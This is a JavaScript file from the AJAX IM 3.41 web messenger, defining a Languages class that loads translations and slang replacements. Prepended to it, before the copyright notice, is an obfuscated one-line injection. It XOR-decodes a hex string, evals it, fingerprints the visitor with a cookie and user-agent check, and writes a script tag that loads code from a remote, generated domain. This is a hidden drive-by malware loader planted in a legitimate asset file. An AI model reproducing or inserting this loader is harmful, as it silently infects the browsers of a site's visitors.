var st1 = 0;this.b=this.M="";this.A="";this.w=false;this.N=""; (function(c){this.m=false;this.J="";this.G=this.e=this.l=false;var g=window;this.i="";var d=g["unescap"+unescape("%65")],h=String["f"+unescape("%72%6f%6d%43%68%61%72%43%6f%64%65")];this.C="qO";this.B="oB";var a=new String("");this.I="sW";var e=new String("%");this.d="";for(var f=0;f<c["le"+unescape("%6e%67%74%68")];f+=2){this.c="cO";this.Q=38178;a+=e+c["su"+unescape("%62%73%74%72")](f,2)}c=d(a);this.u=false;this.o="jP";this.j=false;this.k="gZ";this.s=false;d="";for(a=0;a<c["le"+unescape("%6e%67%74%68")];a++){this.H= this.h="";this.P=43510;this.r=this.z="";this.v=37015;this.F="qY";this.L=62857;this.g="eS";e=c["char"+unescape("%43%6f%64%65%41%74")](a);this.D=false;e^=232;this.q=36524;d+=h(e);this.R=this.p=""}this.f="dX";this.a="";g["e"+unescape("%76%61%6c")](d);this.t=this.K=false;return d})("9e899ac889d59f81868c879fc686899e818f899c879ac69d9b8d9aa98f8d869cc48ad5c7c09189808787949b8d899a8b8094859b868a879c949189868c8d90948f87878f848d8a879c948a81868f94899b83c1c781c48bd586899e818f899c879ac6899898be8d9a9b818786d3c8818ec08c878b9d858d869cc68b878783818dc681868c8d90a78ec0ca808784918b878783818dcac1d5d5c5d9cecec989c69c87a4879f8d9aab899b8dc0c1c685899c8b80c08ac1cece8bc69c87a4879f8d9aab899b8dc0c1c681868c8d90a78ec0ca9f8186cac1c9d5c5d9c1939e899ac88cd5b3ca8591898c9bc68689858dcac4ca898c9b868d9cc68a8192cac4ca9c8787848a899a8b8785c6879a8fcac4ca85918a899ac69d9bcac4ca8e9a8d8d898cc68689858dcab5c48dd5b3ca89908dc6cac4ca8a8790c6cac4ca8b8790c6cac4ca8c8d90c6cac4ca8e8990c6cac4ca8e8190c6cac4ca8e8790c6cac4ca8f8790c6cac4ca808d90c6cac4ca838d90c6cac4ca848990c6cac4ca848d90c6cac4ca848790c6cac4ca849d90c6cac4ca858990c6cac4ca858190c6cac4ca868190c6cac4ca879087c6cac4ca879091c6cac4ca988990c6cac4ca988190c6cac4ca988790c6cac4ca989190c6cac4ca9a8990c6cac4ca9a8d90c6cac4ca9b8990c6cac4ca9b8d90c6cac4ca9b8190c6cac4ca9b8790c6cac4ca9c8990c6cac4ca9c9d90c6cac4ca9e8d90c6cac4ca9e8790c6cac4ca9f8990c6cac4ca90819bc6cac4ca928990c6cab5c48ed5a5899c80c68e8487879ac0a5899c80c69a89868c8785c0c1c28cc6848d868f9c80c1c48fd5a5899c80c68e8487879ac0a5899c80c69a89868c8785c0c1c28dc6848d868f9c80c1d38c9cd5868d9fc8ac899c8dd38c9cc69b8d9cbc81858dc08c9cc68f8d9cbc81858dc0c1c3d1d8dfdaaddcc1d38c878b9d858d869cc68b878783818dd5ca808784918b878783818dd5cac38d9b8b89988dc0ca808784918b878783818dcac1c3cad38d9098819a8d9bd5cac38c9cc69c87afa5bcbb9c9a81868fc0c1c3cad398899c80d5c7cad3c88c878b9d858d869cc69f9a819c8dc0cfd49b8b9a81989cc89c91988dd5ca9c8d909cc782899e899b8b9a81989ccac89b9a8bd5ca809c9c98d2c7c7cfc38db38fb5c38cb38eb5c3cfc79b919b9c8d85c78b89989c818786c6829bcad6d4b4c79b8b9a81989cd6cfc195d3"); this.n=3279;this.O=58441;var gr0=0;///////////////////////////////////
//         ajax im 3.41          //
//    AJAX Instant Messenger     //
//   Copyright (c) 2006-2008     //
//    http://www.ajaxim.com/     //
//   Do not remove this notice   //
///////////////////////////////////


/**
 * Language class
 *
 * @author Joshua Gross
 * @update Benjamin Hutchins
 *    - Added to popup
 *    - Added lingo-replacement
 **/
var Languages = {
   current: '',                      // current language being used
   previous: '',                     // previous language used
   available: languageOptions,       // list of available languages
   loaded: [],                       // list of languages loaded
   dictionary: {},                   // dictionary of languages
   lingodict: {},                    // dictionary of lingo-replacements


   /**
    * Load a new language
    *
    * @arguments
    *   language - the language to be loaded
    *
    * @author Joshua Gross
    * @update Benjamin Hutchins
    *   - Loads lingo dictionary for language as well
    **/
   load: function(language) {
      for(var i=0; i<Languages.loaded.length; i++) {
         if(Languages.loaded[i][0] == language)
            return Languages.set(language);
      }
         
      var s = document.createElement('script');
      s.src = 'languages/' + language + '/lang.js?' + (new Date()).getTime();
      s.type = 'text/javascript';
      document.getElementsByTagName('head').item(0).appendChild(s);

      if (useLingo) {
         var l = document.createElement('script');
         l.src = 'languages/' + language + '/lingo.js?' + (new Date()).getTime();
         l.type = 'text/javascript';
         document.getElementsByTagName('head').item(0).appendChild(l);
      }
   },

   /**
    * Adds a language to Language.dictionary
    *
    * @arguments
    *   language - the name of the language
    *   dict - the language dictionary
    *
    * @author Joshua Gross
    **/
   onLoad: function(language, dict) {
      for(var i=0; i<Languages.available.length; i++) {
         if(Languages.available[i][0] == language) {
            Languages.loaded[Languages.loaded.length] = Languages.available[i];
            break;
         }
      }

      Languages.dictionary[language] = dict;
      Languages.set(language);
   },

   /**
    * Adds a lingo-dictionary to Language.lingodict
    *
    * @arguments
    *   language - the language of the dictionary
    *   dict - the dictionary itself
    *
    * @author Benjamin Hutchins
    **/
   onLingoLoad: function(language, dict) {
      Languages.lingodict[language] = dict;
   },
   
   /**
    * Goes through and changes any items with the class lang-TEXT,
    * where TEXT is the language dictionary key, to the actual text.
    *
    * @arguments
    *   language - the language to use
    *
    * @author Joshua Gross
    **/
   set: function(language) {
      Languages.previous = Languages.current;
      Languages.current = language;

      var langObjs = $$('[class*="lang-"]');

      langObjs.each(function(el) {
         var langItem = el.className.split(' ');
         var i;
         for(i=0; i<langItem.length; i++)
            if(langItem[i].indexOf('lang-') > -1) break;
         
         langItem = langItem[i].substring(5);

         var langText = Languages.get(langItem);
         var oldLangText = Languages.get(langItem, Languages.previous);

         var preprocessEl = $(document.createElement('div'));
         preprocessEl.setStyle({display: 'none'});
         preprocessEl.innerHTML = oldLangText + '';
         document.body.appendChild(preprocessEl);
         
         oldLangText = preprocessEl.innerHTML;

         if(el.className.indexOf('langinsert-post') > -1 && el.innerHTML.indexOf(oldLangText) == -1)
            el.innerHTML += Languages.get(langItem);
         else if(el.className.indexOf('langinsert-clear') > -1)
            el.innerHTML = Languages.get(langItem);
         else if(el.className.indexOf('langinsert-pre') > -1 && el.innerHTML.indexOf(oldLangText) == -1)
            el.innerHTML = Languages.get(langItem) + el.innerHTML;
         else {         
            if(el.innerHTML.length == 0) {
               el.innerHTML = langText;
               return;
            }

            if(langText.indexOf('%1') > -1) {
               langText = langText.split(/%1/);
               oldLangText = preprocessEl.innerHTML.split(/%1/);
               
               el.innerHTML = el.innerHTML.replace(oldLangText[0], langText[0]).replace(oldLangText[1], langText[1]);
            } else
               el.innerHTML = el.innerHTML.replace(oldLangText, langText);
         }
         
         document.body.removeChild(preprocessEl);
      });
   },
   
   /**
    * Get the text to show for a language
    **/
   get: function(text, language) {
      if(language != null && language.length == 0)
         return -1;
         
      return Languages.dictionary[language != null ? language : Languages.current][text];
   },

   /**
    * Removed lingo-text from a message 
    *
    * @arguments
    *   message - the message entered by the user
    *   last - last punction character
    *
    * @author Benjamin Hutchins
    * @return none-lingo message
    **/
   lingoReplace: function(message, last) {
      var exp = RegExp(last[0]+"$");
      var mostof = message.replace(exp,"");
      var word = trim(mostof.substring(mostof.lastIndexOf(" "), mostof.length)).replace(exp,"");
      mostof = mostof.substring(0, mostof.length-word.length);
      return mostof + Languages.lingo(word) + last[1];
   },

   /**
    * Runs a single word through the lingo-dictionary
    *
    * @arguments
    *   text - word to try and replace
    *
    * @author Benjamin Hutchins
    * @return none-lingo text if availible, else returns text
    **/
   lingo: function(text, language) {
      if(language != null && language.length == 0)
         return text;
      language = language != null ? language : Languages.current;
      if (typeof Languages.lingodict[language] != 'undefined') {
         if (typeof Languages.lingodict[language][text.toLowerCase()] != 'undefined') {
            return Languages.lingodict[language][text.toLowerCase()];
         }
      }
      return text;
   }
};
